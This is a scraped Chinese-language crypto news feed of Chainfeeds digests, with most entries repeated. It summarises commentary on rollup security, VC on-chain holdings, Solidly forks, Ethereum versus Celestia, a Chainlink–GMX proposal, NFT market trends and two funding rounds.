内容来源  ( 4 min )
    为什么现在没有真正意义上的 Rollup？
    Chainfeeds 导读： 本文由 Jon Charbonneau 撰写，从强制交易打包机制、L2 定序器去中心化和 (可选) 本地共识、共享定序器和跨链原子性和 MEV 可捕获设计几方面对 rollup 安全性进行概述。中文版由 ECN 成员 Franci 编译发布。 文章来源： https://mp.weixin.qq.com/s/cqyi6AaJE8LCZCoqN2utuQ 文章作者： Jon Charbonneau 观点： Jon Charbonneau：定序器去中心化的路径和相关障碍是 rollup 在未来几年走向成熟时需要应对的众多挑战之一。其他一些有趣的探索领域包括：1）不同层的交互：随着定序器去中心化，它们如何与交易供应链的不同部分交互？什么类型的拍卖（例如，SUAVE）应该插入一个去中心化的定序器子集（例如，共享定序器）？2）交易费用机制：多维度资源定价 vs. 状态定价；3）L2 费用市场：收取「L2 原生」费用（例如 L2 堵塞费用）和「L1 原生」费用（例如 L1 数据可用性费用）； 内容来源 Jon Charbonneau：4）ZK 证明者市场：如何正确激励去中心化和无需许可的 ZK 证明者市场。这是 L2 费用的一个重要子集，在其他背景下也会有相关的地方；5）Rollup 的商业模式：Rollup 代币和构建它们的团队如何积累价值并实现可持续性；6）可升级性和治理：去中心化这些组件和减少信任假设，同时保持系统的灵活性；7）欺诈 / ZK 证明；构建更具有鲁棒性的机制，比如使用多个证明者机制。 内容来源  ( 38 min )
    为什么现在没有真正意义上的 Rollup？
    Chainfeeds 导读： 本文由 Jon Charbonneau 撰写，从强制交易打包机制、L2 定序器去中心化和 (可选) 本地共识、共享定序器和跨链原子性和 MEV 可捕获设计几方面对 rollup 安全性进行概述。中文版由 ECN 成员 Franci 编译发布。 文章来源： https://mp.weixin.qq.com/s/cqyi6AaJE8LCZCoqN2utuQ 文章作者： Jon Charbonneau 观点： Jon Charbonneau：定序器去中心化的路径和相关障碍是 rollup 在未来几年走向成熟时需要应对的众多挑战之一。其他一些有趣的探索领域包括：1）不同层的交互：随着定序器去中心化，它们如何与交易供应链的不同部分交互？什么类型的拍卖（例如，SUAVE）应该插入一个去中心化的定序器子集（例如，共享定序器）？2）交易费用机制：多维度资源定价 vs. 状态定价；3）L2 费用市场：收取「L2 原生」费用（例如 L2 堵塞费用）和「L1 原生」费用（例如 L1 数据可用性费用）； 内容来源 Jon Charbonneau：4）ZK 证明者市场：如何正确激励去中心化和无需许可的 ZK 证明者市场。这是 L2 费用的一个重要子集，在其他背景下也会有相关的地方；5）Rollup 的商业模式：Rollup 代币和构建它们的团队如何积累价值并实现可持续性；6）可升级性和治理：去中心化这些组件和减少信任假设，同时保持系统的灵活性；7）欺诈 / ZK 证明；构建更具有鲁棒性的机制，比如使用多个证明者机制。 内容来源  ( 38 min )
    【英文长推】数据跟踪顶级 VC 钱包的最大持仓情况
    Chainfeeds 导读： 加密研究员 Thor Hartvigsen 发推跟踪排名靠前的 9 家顶级风险投资基金的链上估值及最大持仓情况。 文章来源： https://twitter.com/ThorHartvigsen/status/1649050670929174535 文章作者： Thor Hartvigsen 观点： Thor Hartvigsen：1）Jump Crypto：链上估值 36.75 亿美元，包括 34 亿美元 ETH、5575 万美元 SHIB、2150 万美元 LDO、1850 万美元 MATIC、1500 万美元 AVAX、1170 万美元 PENDLE 等；2）Paradigm：链上估值 3.58 亿美元，包括 1.95 亿美元 ETH、1.63 亿美元 LDO。Paradigm 曾持有 1050 万美元 MKR，但似乎已于 3 月 16 日出售。Paradigm 持有 7000 万枚 LDO，是其最大持有者；【原文为英文】 内容来源 Thor Hartvigsen：3）Genesis Trading：链上估值 3 亿美元，包括 2.52 亿美元 ETH、500 万美元 COMP 等。Genesis 于 1 月申请破产，未来可能被迫出售资产；4）a16z：链上估值 2.41 亿美元，包括 2.25 亿美元 UNI、1300 万美元 COMP、300 万美元 MKR。a16z 持有超过 4% UNI 供应量，授予他们足够的治理权力，可以单独拒绝提案；5）Winrermute：链上估值 2.3 亿美元，包括 5400 万美元 ARB、4700 万美元 OP、3200 万美元 DYDX、1700 万美元 ETH、1000 万美元 wBTC 等；【原文为英文】 内容来源 Thor Hartvigsen：6）Dragonfly Capital：链上估值 1.55 亿美元，包括 4600 万美元 LDO、4500 万美元稳定币、2600 万美元 ETH、2300 万美元 BGB、700 万美元 FXS、670 万美元 RBN（其中 170 万美元仍在解锁中）、150 万美元 DYDX 等。DragonFly 是 Lido 的主要投资者之一，但已在三 / 四月出售了价值约 1500 万美元的 LDO，最近还出售了价值 1000 万美元的 MATIC 和 600 万美元的 AAVE；【原文为英文】 内容来源 Thor Hartvigsen：7）Blockchain Capital：链上估值 8200 万美元，包括 2130 万美元 ETH、2000 万美元 MATIC、1730 万美元 AAVE、1500 万美元 UNI 等。Blockchain Capital 于 4 月 11 日出售其链上价值约 510 万美元的 RPL 持仓；8）Spartan Group：链上估值 497 万美元，包括 1300 万美元 USDC、380 万美元 ETH、LDO、DYDX 和 CVX 各 270 万美元等；9）DeFiance Capital：链上估值 4700 万美元，包括 1800 万美元 USDC、1600 万美元 LDO 等。【原文为英文】 内容来源  ( 2 min )
    【英文长推】数据跟踪顶级 VC 钱包的最大持仓情况
    Chainfeeds 导读： 加密研究员 Thor Hartvigsen 发推跟踪排名靠前的 9 家顶级风险投资基金的链上估值及最大持仓情况。 文章来源： https://twitter.com/ThorHartvigsen/status/1649050670929174535 文章作者： Thor Hartvigsen 观点： Thor Hartvigsen：1）Jump Crypto：链上估值 36.75 亿美元，包括 34 亿美元 ETH、5575 万美元 SHIB、2150 万美元 LDO、1850 万美元 MATIC、1500 万美元 AVAX、1170 万美元 PENDLE 等；2）Paradigm：链上估值 3.58 亿美元，包括 1.95 亿美元 ETH、1.63 亿美元 LDO。Paradigm 曾持有 1050 万美元 MKR，但似乎已于 3 月 16 日出售。Paradigm 持有 7000 万枚 LDO，是其最大持有者；【原文为英文】 内容来源 Thor Hartvigsen：3）Genesis Trading：链上估值 3 亿美元，包括 2.52 亿美元 ETH、500 万美元 COMP 等。Genesis 于 1 月申请破产，未来可能被迫出售资产；4）a16z：链上估值 2.41 亿美元，包括 2.25 亿美元 UNI、1300 万美元 COMP、300 万美元 MKR。a16z 持有超过 4% UNI 供应量，授予他们足够的治理权力，可以单独拒绝提案；5）Winrermute：链上估值 2.3 亿美元，包括 5400 万美元 ARB、4700 万美元 OP、3200 万美元 DYDX、1700 万美元 ETH、1000 万美元 wBTC 等；【原文为英文】 内容来源 Thor Hartvigsen：6）Dragonfly Capital：链上估值 1.55 亿美元，包括 4600 万美元 LDO、4500 万美元稳定币、2600 万美元 ETH、2300 万美元 BGB、700 万美元 FXS、670 万美元 RBN（其中 170 万美元仍在解锁中）、150 万美元 DYDX 等。DragonFly 是 Lido 的主要投资者之一，但已在三 / 四月出售了价值约 1500 万美元的 LDO，最近还出售了价值 1000 万美元的 MATIC 和 600 万美元的 AAVE；【原文为英文】 内容来源 Thor Hartvigsen：7）Blockchain Capital：链上估值 8200 万美元，包括 2130 万美元 ETH、2000 万美元 MATIC、1730 万美元 AAVE、1500 万美元 UNI 等。Blockchain Capital 于 4 月 11 日出售其链上价值约 510 万美元的 RPL 持仓；8）Spartan Group：链上估值 497 万美元，包括 1300 万美元 USDC、380 万美元 ETH、LDO、DYDX 和 CVX 各 270 万美元等；9）DeFiance Capital：链上估值 4700 万美元，包括 1800 万美元 USDC、1600 万美元 LDO 等。【原文为英文】 内容来源  ( 2 min )
    【英文长推】数据跟踪顶级 VC 钱包的最大持仓情况
    Chainfeeds 导读： 加密研究员 Thor Hartvigsen 发推跟踪排名靠前的 9 家顶级风险投资基金的链上估值及最大持仓情况。 文章来源： https://twitter.com/ThorHartvigsen/status/1626204769189605377 文章作者： Thor Hartvigsen 观点： Thor Hartvigsen：1）Jump Crypto：链上估值 36.75 亿美元，包括 34 亿美元 ETH、5575 万美元 SHIB、2150 万美元 LDO、1850 万美元 MATIC、1500 万美元 AVAX、1170 万美元 PENDLE 等；2）Paradigm：链上估值 3.58 亿美元，包括 1.95 亿美元 ETH、1.63 亿美元 LDO。Paradigm 曾持有 1050 万美元 MKR，但似乎已于 3 月 16 日出售。Paradigm 持有 7000 万枚 LDO，是其最大持有者；【原文为英文】 内容来源 Thor Hartvigsen：3）Genesis Trading：链上估值 3 亿美元，包括 2.52 亿美元 ETH、500 万美元 COMP 等。Genesis 于 1 月申请破产，未来可能被迫出售资产；4）a16z：链上估值 2.41 亿美元，包括 2.25 亿美元 UNI、1300 万美元 COMP、300 万美元 MKR。a16z 持有超过 4% UNI 供应量，授予他们足够的治理权力，可以单独拒绝提案；5）Winrermute：链上估值 2.3 亿美元，包括 5400 万美元 ARB、4700 万美元 OP、3200 万美元 DYDX、1700 万美元 ETH、1000 万美元 wBTC 等；【原文为英文】 内容来源 Thor Hartvigsen：6）Dragonfly Capital：链上估值 1.55 亿美元，包括 4600 万美元 LDO、4500 万美元稳定币、2600 万美元 ETH、2300 万美元 BGB、700 万美元 FXS、670 万美元 RBN（其中 170 万美元仍在解锁中）、150 万美元 DYDX 等。DragonFly 是 Lido 的主要投资者之一，但已在三 / 四月出售了价值约 1500 万美元的 LDO，最近还出售了价值 1000 万美元的 MATIC 和 600 万美元的 AAVE；【原文为英文】 内容来源 Thor Hartvigsen：7）Blockchain Capital：链上估值 8200 万美元，包括 2130 万美元 ETH、2000 万美元 MATIC、1730 万美元 AAVE、1500 万美元 UNI 等。Blockchain Capital 于 4 月 11 日出售其链上价值约 510 万美元的 RPL 持仓；8）Spartan Group：链上估值 497 万美元，包括 1300 万美元 USDC、380 万美元 ETH、LDO、DYDX 和 CVX 各 270 万美元等；9）DeFiance Capital：链上估值 4700 万美元，包括 1800 万美元 USDC、1600 万美元 LDO 等。【原文为英文】 内容来源  ( 2 min )
    元宇宙基础设施提供商 MetaGravity 完成 950 万美元融资，Spartan Group 等参投
    元宇宙基础设施提供商 MetaGravity 完成 950 万美元融资，Spartan Group 等参投 元宇宙基础设施提供商 MetaGravity 完成 950 万美元种子轮融资，Sino Global、Spartan Group LLC、Market One Capital 等参投，资金将用于扩大其工程和产品团队，以开发支持未来大规模虚拟宇宙体验所需的基础设施层。 MetaGravity 旨在利用这些资金以三种主要方式推动其增长：首先，它计划提供无限规模，能够支持超过 100 万并发用户 (CCU)，以及相关的 AI 和交互式对象；其次，它旨在提供可持续的单位成本，实现突破性的效率，将每个用户的云计算成本降低至当前技术的 1%；最后，它旨在提供与任何游戏引擎和云平台的无缝集成。 内容来源  ( 26 min )
    元宇宙基础设施提供商 MetaGravity 完成 950 万美元融资，Spartan Group 等参投
    元宇宙基础设施提供商 MetaGravity 完成 950 万美元融资，Spartan Group 等参投 元宇宙基础设施提供商 MetaGravity 完成 950 万美元种子轮融资，Sino Global、Spartan Group LLC、Market One Capital 等参投，资金将用于扩大其工程和产品团队，以开发支持未来大规模虚拟宇宙体验所需的基础设施层。 MetaGravity 旨在利用这些资金以三种主要方式推动其增长：首先，它计划提供无限规模，能够支持超过 100 万并发用户 (CCU)，以及相关的 AI 和交互式对象；其次，它旨在提供可持续的单位成本，实现突破性的效率，将每个用户的云计算成本降低至当前技术的 1%；最后，它旨在提供与任何游戏引擎和云平台的无缝集成。 内容来源  ( 26 min )
    【英文长推】Blockworks：Solidly 模式研究，分叉项目未来前景如何？
    Chainfeeds 导读： 2022 年 2 月，Andre Cronje 项目 Solidly TVL 在达到 20 亿美元后因有缺陷的代码迅速降至 0。虽然 Solidly 失败了，但其通过非 ETH 网络的几个分叉项目仍在继续发展。他们进展如何？前景如何？Solidly 模式又对 DeFi 产生了哪些影响？Blockworks 研究员 0xpibblez 带你一探究竟。 文章来源： https://twitter.com/blockworksres/status/1649083310201790465 文章作者： 0xpibblez 观点： 0xpibblez：Solidly 试图解决 DeFi 中存在的冷启动、激励、治理及缺乏价值积累等问题，并且在贿赂模式上进行迭代开创了一个更易使用的系统，SOLID 持有者可以通过投票锁仓代币获得 NFT 以防止稀释问题。对交易对的投票也让持有者有权获得收益，这就产生了一个深度流动性的飞轮，包括低滑点和高交易量。【原文为英文】 内容来源 0xpibblez：Solidly 分叉项目：1）Velodrome：Optimism 上的原生 DEX，截止目前已经产生了 1400 万美元的费用和贿赂收入。此外，所有 Optimism DEX 交易量的大部分都流经 Velodrome；2）Thena：BNB Chain 上 DeFi 协议，与 Velodrome 相比较为年轻，但其通过最近实施的 fusion 升级实现了集中流动性。【原文为英文】 内容来源  ( 2 min )
    【英文长推】Blockworks：Solidly 模式研究，分叉项目未来前景如何？
    Chainfeeds 导读： 2022 年 2 月，Andre Cronje 项目 Solidly TVL 在达到 20 亿美元后因有缺陷的代码迅速降至 0。虽然 Solidly 失败了，但其通过非 ETH 网络的几个分叉项目仍在继续发展。他们进展如何？前景如何？Solidly 模式又对 DeFi 产生了哪些影响？Blockworks 研究员 0xpibblez 带你一探究竟。 文章来源： https://twitter.com/blockworksres/status/1649083310201790465 文章作者： 0xpibblez 观点： 0xpibblez：Solidly 试图解决 DeFi 中存在的冷启动、激励、治理及缺乏价值积累等问题，并且在贿赂模式上进行迭代开创了一个更易使用的系统，SOLID 持有者可以通过投票锁仓代币获得 NFT 以防止稀释问题。对交易对的投票也让持有者有权获得收益，这就产生了一个深度流动性的飞轮，包括低滑点和高交易量。【原文为英文】 内容来源 0xpibblez：Solidly 分叉项目：1）Velodrome：Optimism 上的原生 DEX，截止目前已经产生了 1400 万美元的费用和贿赂收入。此外，所有 Optimism DEX 交易量的大部分都流经 Velodrome；2）Thena：BNB Chain 上 DeFi 协议，与 Velodrome 相比较为年轻，但其通过最近实施的 fusion 升级实现了集中流动性。【原文为英文】 内容来源  ( 2 min )
    【英文长推】以太坊 rollup VS. Celestia rollup：谁更安全？
    Chainfeeds 导读： Celestia COO Nick White 撰推将以太坊 rollup 和 Celestia rollup 进行安全性对比，将「安全性」定义为两个方面，即不变性和可验证性，得出结论：如果你想要不变性，以太坊更好。如果你想要可验证性，Celestia 更好。 文章来源： https://twitter.com/nickwh8te/status/1649065424431239169 文章作者： Nick White（Celestia COO） 观点： Nick White（Celestia COO）：安全性包括： 1）不变性，是重组链的难度所在，重组链的成本越高，链对双花或类似攻击的安全性就越高。 2）可验证性，是用户验证链中的区块是否有效的难易程度。验证链的成本越低、越简单，就越能防止区块生产者违反规则。先看不变性，在 PoS 协议中，不变性随着所涉价值的增加而增加。如果一条链有更多的钱质押，那么如果区块生产者重组，就会有更多的质押被销毁。质押了 380 亿美元的 ETH，以太坊在推出时的重组成本将比 Celestia 高得多。因此，在不变性方面，毫无疑问，以太坊将比 Celestia 更安全。 内容来源 Nick White（Celestia COO）：可验证性呢？如果你需要钱来购买功能强大的计算机和快速的互联网连接来验证链，那么可验证性就很低。如果你可以像 Celestia 那样在智能手机上验证链，可验证性极高。Celestia 需要比以太坊少得多的资源来验证。以太坊要求：4 个 core 、16GB RAM、1TB SSD、25 Mbps 带宽。Celestia 要求： 1 个 core、2 GB RAM、5 GB SSD、56 Kbps 带宽。所以在可验证性维度上，Celestia 比以太坊更安全。 Danksharding 升级后，以太坊的验证成本可能会降低，但用户可能仍需要运行正常执行的全节点才能验证 DA 链。需要明确的是，我并不是说一个比另一个更好，我只是在权衡。模块化而非极简主义，意味着开发人员可以选择最适合其用例的折衷方案。开发人员应该构建他们想要的任何东西。那么以太坊上的 rollup 否比 Celestia 上的更安全？如果你想要不变性，以太坊更好。如果你想要可验证性，Celestia 更好。 内容来源  ( 2 min )
    【英文长推】以太坊 rollup VS. Celestia rollup：谁更安全？
    Chainfeeds 导读： Celestia COO Nick White 撰推将以太坊 rollup 和 Celestia rollup 进行安全性对比，将「安全性」定义为两个方面，即不变性和可验证性，得出结论：如果你想要不变性，以太坊更好。如果你想要可验证性，Celestia 更好。 文章来源： https://twitter.com/nickwh8te/status/1649065424431239169 文章作者： Nick White（Celestia COO） 观点： Nick White（Celestia COO）：安全性包括： 1）不变性，是重组链的难度所在，重组链的成本越高，链对双花或类似攻击的安全性就越高。 2）可验证性，是用户验证链中的区块是否有效的难易程度。验证链的成本越低、越简单，就越能防止区块生产者违反规则。先看不变性，在 PoS 协议中，不变性随着所涉价值的增加而增加。如果一条链有更多的钱质押，那么如果区块生产者重组，就会有更多的质押被销毁。质押了 380 亿美元的 ETH，以太坊在推出时的重组成本将比 Celestia 高得多。因此，在不变性方面，毫无疑问，以太坊将比 Celestia 更安全。 内容来源 Nick White（Celestia COO）：可验证性呢？如果你需要钱来购买功能强大的计算机和快速的互联网连接来验证链，那么可验证性就很低。如果你可以像 Celestia 那样在智能手机上验证链，可验证性极高。Celestia 需要比以太坊少得多的资源来验证。以太坊要求：4 个 core 、16GB RAM、1TB SSD、25 Mbps 带宽。Celestia 要求： 1 个 core、2 GB RAM、5 GB SSD、56 Kbps 带宽。所以在可验证性维度上，Celestia 比以太坊更安全。 Danksharding 升级后，以太坊的验证成本可能会降低，但用户可能仍需要运行正常执行的全节点才能验证 DA 链。需要明确的是，我并不是说一个比另一个更好，我只是在权衡。模块化而非极简主义，意味着开发人员可以选择最适合其用例的折衷方案。开发人员应该构建他们想要的任何东西。那么以太坊上的 rollup 否比 Celestia 上的更安全？如果你想要不变性，以太坊更好。如果你想要可验证性，Celestia 更好。 内容来源  ( 2 min )
    【英文长推】Chainlink 和 GMX 的合作提案已上线且有望通过，可能成为 $LINK 的重要驱动力
    Chainfeeds 导读： Chainlink 和 GMX 的合作提案已上线且有望通过，加密 KOL Minty 撰推解读该提案细节，认为这种合作意义重大，开创了为节点运营商和 LINK 质押者创造实际收入的先例，可能成为 LINK 的重要驱动力。 文章来源： https://twitter.com/DeFiMinty/status/1649078391788781569 文章作者： Minty 观点： Minty：拟议的合作旨在把 Chainlink 新的低延迟预言机的访问权给 GMX，以换取 1.2% 的 GMX 平台费用。这将为 GMX 的永续市场提供更精细的价格数据，同时为 Chainlink 平台带来可观的收入。由于 GMX 费用的爆炸式增长，很难估计金额，但根据过去 3 个月赚取的费用保守估计，每年将为 Chainlink 提供约 200-250 万美元。【原文为英文】 内容来源 Minty：收入会分给 LINK 质押者吗？不确定，但我猜测收入将首先流向节点运营商。该团队专注于在没有激励的情况下让节点运营商盈利。此外，通过 Chainlink Scale，区块链可以支付一定时期内的运营成本，以换取对区块链服务的访问，从而更好地为生态系统开发人员服务。这可以降低运营商的成本并减少对激励措施的需求。如果激励措施被关闭，那将大大减少抛压，因为节点运营商出售 LINK 来支付费用。【原文为英文】 内容来源 Minty：收入增长是否有利于 LINK？它可能会间接受益于 Chainlink 未来的声誉系统。Chainlink 正在探索基于节点运营商信誉系统的分配工作，其中一个因素是池中的 $LINK 数量。此外，来自 Build 的奖励在未来也可能会分配给 Chainlink 质押者。就目前而言，这不切实际，但如果 Build 可以载入大量项目，则可能意义重大。与 GMX 等项目的合作关系，以及由于 L2 市场份额的增加而降低的 gas 成本，为 Chainlink 提供了一条可持续发展的道路。一旦节点运营商盈利，价值就可能开始转移给 $LINK 质押者。【原文为英文】 内容来源  ( 2 min )
    【英文长推】Chainlink 和 GMX 的合作提案已上线且有望通过，可能成为 $LINK 的重要驱动力
    Chainfeeds 导读： Chainlink 和 GMX 的合作提案已上线且有望通过，加密 KOL Minty 撰推解读该提案细节，认为这种合作意义重大，开创了为节点运营商和 LINK 质押者创造实际收入的先例，可能成为 LINK 的重要驱动力。 文章来源： https://twitter.com/DeFiMinty/status/1649078391788781569 文章作者： Minty 观点： Minty：拟议的合作旨在把 Chainlink 新的低延迟预言机的访问权给 GMX，以换取 1.2% 的 GMX 平台费用。这将为 GMX 的永续市场提供更精细的价格数据，同时为 Chainlink 平台带来可观的收入。由于 GMX 费用的爆炸式增长，很难估计金额，但根据过去 3 个月赚取的费用保守估计，每年将为 Chainlink 提供约 200-250 万美元。【原文为英文】 内容来源 Minty：收入会分给 LINK 质押者吗？不确定，但我猜测收入将首先流向节点运营商。该团队专注于在没有激励的情况下让节点运营商盈利。此外，通过 Chainlink Scale，区块链可以支付一定时期内的运营成本，以换取对区块链服务的访问，从而更好地为生态系统开发人员服务。这可以降低运营商的成本并减少对激励措施的需求。如果激励措施被关闭，那将大大减少抛压，因为节点运营商出售 LINK 来支付费用。【原文为英文】 内容来源 Minty：收入增长是否有利于 LINK？它可能会间接受益于 Chainlink 未来的声誉系统。Chainlink 正在探索基于节点运营商信誉系统的分配工作，其中一个因素是池中的 $LINK 数量。此外，来自 Build 的奖励在未来也可能会分配给 Chainlink 质押者。就目前而言，这不切实际，但如果 Build 可以载入大量项目，则可能意义重大。与 GMX 等项目的合作关系，以及由于 L2 市场份额的增加而降低的 gas 成本，为 Chainlink 提供了一条可持续发展的道路。一旦节点运营商盈利，价值就可能开始转移给 $LINK 质押者。【原文为英文】 内容来源  ( 2 min )
    Web3 安全公司 Shield 完成 210 万美元融资
    Web3 安全公司 Shield 完成 210 万美元融资 Web3 安全公司 Shield 宣布完成 210 万美元 Pre-Seed 轮融资，Kraken Ventures、Eterna Capital、Alchemy、Moonpay、Bessemer Ventures DAO（Steel DAO）、Orange DAO、NGC Ventures、Wagmi Ventures、MH Ventures、Coinswitch、2Punks Capital、Lecca Ventures 和 Very Serious Ventures 及天使投资人加密安全审计公司 Halborn 首席执行官 Rob Behnke、加利福尼亚州前首席信息安全官 Peter Liebert 等参投。 根据介绍，Shield 旨在帮助组织采取全面的安全措施来防止加密漏洞利用，并提高用户对整个生态系统的信任。 内容来源  ( 2 min )
    Web3 安全公司 Shield 完成 210 万美元融资
    Web3 安全公司 Shield 完成 210 万美元融资 Web3 安全公司 Shield 宣布完成 210 万美元 Pre-Seed 轮融资，Kraken Ventures、Eterna Capital、Alchemy、Moonpay、Bessemer Ventures DAO（Steel DAO）、Orange DAO、NGC Ventures、Wagmi Ventures、MH Ventures、Coinswitch、2Punks Capital、Lecca Ventures 和 Very Serious Ventures 及天使投资人加密安全审计公司 Halborn 首席执行官 Rob Behnke、加利福尼亚州前首席信息安全官 Peter Liebert 等参投。 根据介绍，Shield 旨在帮助组织采取全面的安全措施来防止加密漏洞利用，并提高用户对整个生态系统的信任。 内容来源  ( 2 min )
    【英文长推】观点：分析 Blur 空投前到现在的 NFT 市场变化，实际上 Blur 缓冲了 NFT 几个月前就该经历的下跌趋势
    Chainfeeds 导读： 近期 NFT 市场降至低点，大部分项目地板价暴跌，加密研究员 charles1.eth 通过数据分析 Blur 空投前至现在的 NFT 市场变化，认为 BLUR 不仅没有摧毁 NFT，而且实际上在很大程度上缓冲了它们几个月前应该经历的下跌趋势。 文章来源： https://twitter.com/learn_charles/status/1649171791552626692 文章作者： charles1.eth 观点： charles1.eth：Blur 可能在 10 月份拯救了整个 NFT 市场，现在随着 BLUR 激励措施的消失，流动性正在被撤走。根据仪表盘数据，我们可以看到，自 BLUR 推出以来，交易量实际上开始从下降趋势转向长期上升趋势，第 1 季的交易量激增，但随后 Blur 第 2 季来了，积分只能从出价中获得，而不是从数量。成交量包含了很多洗盘交易。【原文为英文】 内容来源 charles1.eth：现在很多交易（甚至可能是大多数）都是机器人对机器人或「农民」对「农民」，所以我们可以假设当前的交易量是它显示的交易量的 50%，这就回到了 2022 年 8 月至 12 月的水平。看起来 BLUR 不仅没有摧毁 NFT，而且实际上在很大程度上缓冲了它们几个月前应该经历的不利影响。【原文为英文】 内容来源 charles1.eth：那么现在发生了什么？过去几个月地板价暴跌。1）OG 持有者最近开始大量抛售，例如 Franklin 和 Machi；2）「农民」，占体量最多的用户类型，正争先恐后抛卖。所有这些过剩的供应现在都在倾销给下一个人，并且在这些价格下没有足够的实际买家流动性。这就是为什么。我敢打赌，这些钱包中有超过 50% 是机器人，这意味着可能还剩下 6-7,000 名真实交易员。真正的买家不够多，真正的卖家太多了。【原文为英文】 内容来源  ( 2 min )
    【英文长推】观点：分析 Blur 空投前到现在的 NFT 市场变化，实际上 Blur 缓冲了 NFT 几个月前就该经历的下跌趋势
    Chainfeeds 导读： 近期 NFT 市场降至低点，大部分项目地板价暴跌，加密研究员 charles1.eth 通过数据分析 Blur 空投前至现在的 NFT 市场变化，认为 BLUR 不仅没有摧毁 NFT，而且实际上在很大程度上缓冲了它们几个月前应该经历的下跌趋势。 文章来源： https://twitter.com/learn_charles/status/1649171791552626692 文章作者： charles1.eth 观点： charles1.eth：Blur 可能在 10 月份拯救了整个 NFT 市场，现在随着 BLUR 激励措施的消失，流动性正在被撤走。根据仪表盘数据，我们可以看到，自 BLUR 推出以来，交易量实际上开始从下降趋势转向长期上升趋势，第 1 季的交易量激增，但随后 Blur 第 2 季来了，积分只能从出价中获得，而不是从数量。成交量包含了很多洗盘交易。【原文为英文】 内容来源 charles1.eth：现在很多交易（甚至可能是大多数）都是机器人对机器人或「农民」对「农民」，所以我们可以假设当前的交易量是它显示的交易量的 50%，这就回到了 2022 年 8 月至 12 月的水平。看起来 BLUR 不仅没有摧毁 NFT，而且实际上在很大程度上缓冲了它们几个月前应该经历的不利影响。【原文为英文】 内容来源 charles1.eth：那么现在发生了什么？过去几个月地板价暴跌。1）OG 持有者最近开始大量抛售，例如 Franklin 和 Machi；2）「农民」，占体量最多的用户类型，正争先恐后抛卖。所有这些过剩的供应现在都在倾销给下一个人，并且在这些价格下没有足够的实际买家流动性。这就是为什么。我敢打赌，这些钱包中有超过 50% 是机器人，这意味着可能还剩下 6-7,000 名真实交易员。真正的买家不够多，真正的卖家太多了。【原文为英文】 内容来源  ( 2 min )
    数据解析 Azuki 价格上涨的原因：大概率只和 Azuki 本身及其社区有关
    Chainfeeds 导读： InverseLabs 研究员 anymose.eth 根据 ChatGPT 给出的地板价格影响因素的数据公式对公开的数据进行调查，分析 Azuki 价格上涨的真实原因，得出结论：需求旺盛 + 卖单不足，自家鲸鱼吃货。 文章来源： https://twitter.com/anymose96/status/1649074716722999297 文章作者： anymose96 观点： anymose96：ChatGPT 给出公式：地板价 = 常数 + 供需关系 x 市场需求量，常数即市场要素，供需即 list/sale 比例如何变动，需求即市场在渴求什么。根据这个公式展开调查。1）常数，近一个月市场表现：交易量骤降 43%；买家下降 12.08%；蓝筹指数从 8205 降 7645。但 Azuki 却：地板从 12.9e 升 15.8e；总市值从 1.77 亿 升 1.88 亿（eth）。总结就是市场常数方面，Azuki 上涨并非随波逐流，是逆流而上，熊市真蓝筹。 内容来源 anymose96：2）供需关系，主要考核 list、holders 变 动，近一个月表现：上架仅为 4.09%；holders 4472 降 4765；巨鲸 79 升 82；卖家降 17.56%。供给因素通过数据表现明显，总结：社区钻石手，不卖；市场需求增加，买单大于卖单；巨鲸持续购买且不 flip。3）市场需求量，供给侧没有放大，需求侧如果放大，就会直接导致地板上涨：blur bid 池 TVL 稳定在 10k eth；流通量 24.24% 降低了 29.56%；巨鲸持有比迅速升至 12%；由供需对比关系总结下，讲人话就是，买的多，卖的少，社区团结信念强。 内容来源 anymose96：数据之外的推动因素可能包括：1）6 月拉斯维加斯线下活动预期；2）Beanz x Lines 合作出圈；3）社区在 NFT 熊市团结，被价值挖掘；4）社区典型用户及鲸鱼行为影响。本篇分析起源于探讨 Azuki 上涨的 3 个原因。经过上下两篇，更加确认一个关键事实：Azuki 上涨，大概率只和 Azuki 及 Azuki 社区有关。 内容来源  ( 2 min )
    数据解析 Azuki 价格上涨的原因：大概率只和 Azuki 本身及其社区有关
    Chainfeeds 导读： InverseLabs 研究员 anymose.eth 根据 ChatGPT 给出的地板价格影响因素的数据公式对公开的数据进行调查，分析 Azuki 价格上涨的真实原因，得出结论：需求旺盛 + 卖单不足，自家鲸鱼吃货。 文章来源： https://twitter.com/anymose96/status/1649074716722999297 文章作者： anymose96 观点： anymose96：ChatGPT 给出公式：地板价 = 常数 + 供需关系 x 市场需求量，常数即市场要素，供需即 list/sale 比例如何变动，需求即市场在渴求什么。根据这个公式展开调查。1）常数，近一个月市场表现：交易量骤降 43%；买家下降 12.08%；蓝筹指数从 8205 降 7645。但 Azuki 却：地板从 12.9e 升 15.8e；总市值从 1.77 亿 升 1.88 亿（eth）。总结就是市场常数方面，Azuki 上涨并非随波逐流，是逆流而上，熊市真蓝筹。 内容来源 anymose96：2）供需关系，主要考核 list、holders 变 动，近一个月表现：上架仅为 4.09%；holders 4472 降 4765；巨鲸 79 升 82；卖家降 17.56%。供给因素通过数据表现明显，总结：社区钻石手，不卖；市场需求增加，买单大于卖单；巨鲸持续购买且不 flip。3）市场需求量，供给侧没有放大，需求侧如果放大，就会直接导致地板上涨：blur bid 池 TVL 稳定在 10k eth；流通量 24.24% 降低了 29.56%；巨鲸持有比迅速升至 12%；由供需对比关系总结下，讲人话就是，买的多，卖的少，社区团结信念强。 内容来源 anymose96：数据之外的推动因素可能包括：1）6 月拉斯维加斯线下活动预期；2）Beanz x Lines 合作出圈；3）社区在 NFT 熊市团结，被价值挖掘；4）社区典型用户及鲸鱼行为影响。本篇分析起源于探讨 Azuki 上涨的 3 个原因。经过上下两篇，更加确认一个关键事实：Azuki 上涨，大概率只和 Azuki 及 Azuki 社区有关。 内容来源  ( 2 min )
    详解 Shardeum 的基本概念及运作机制
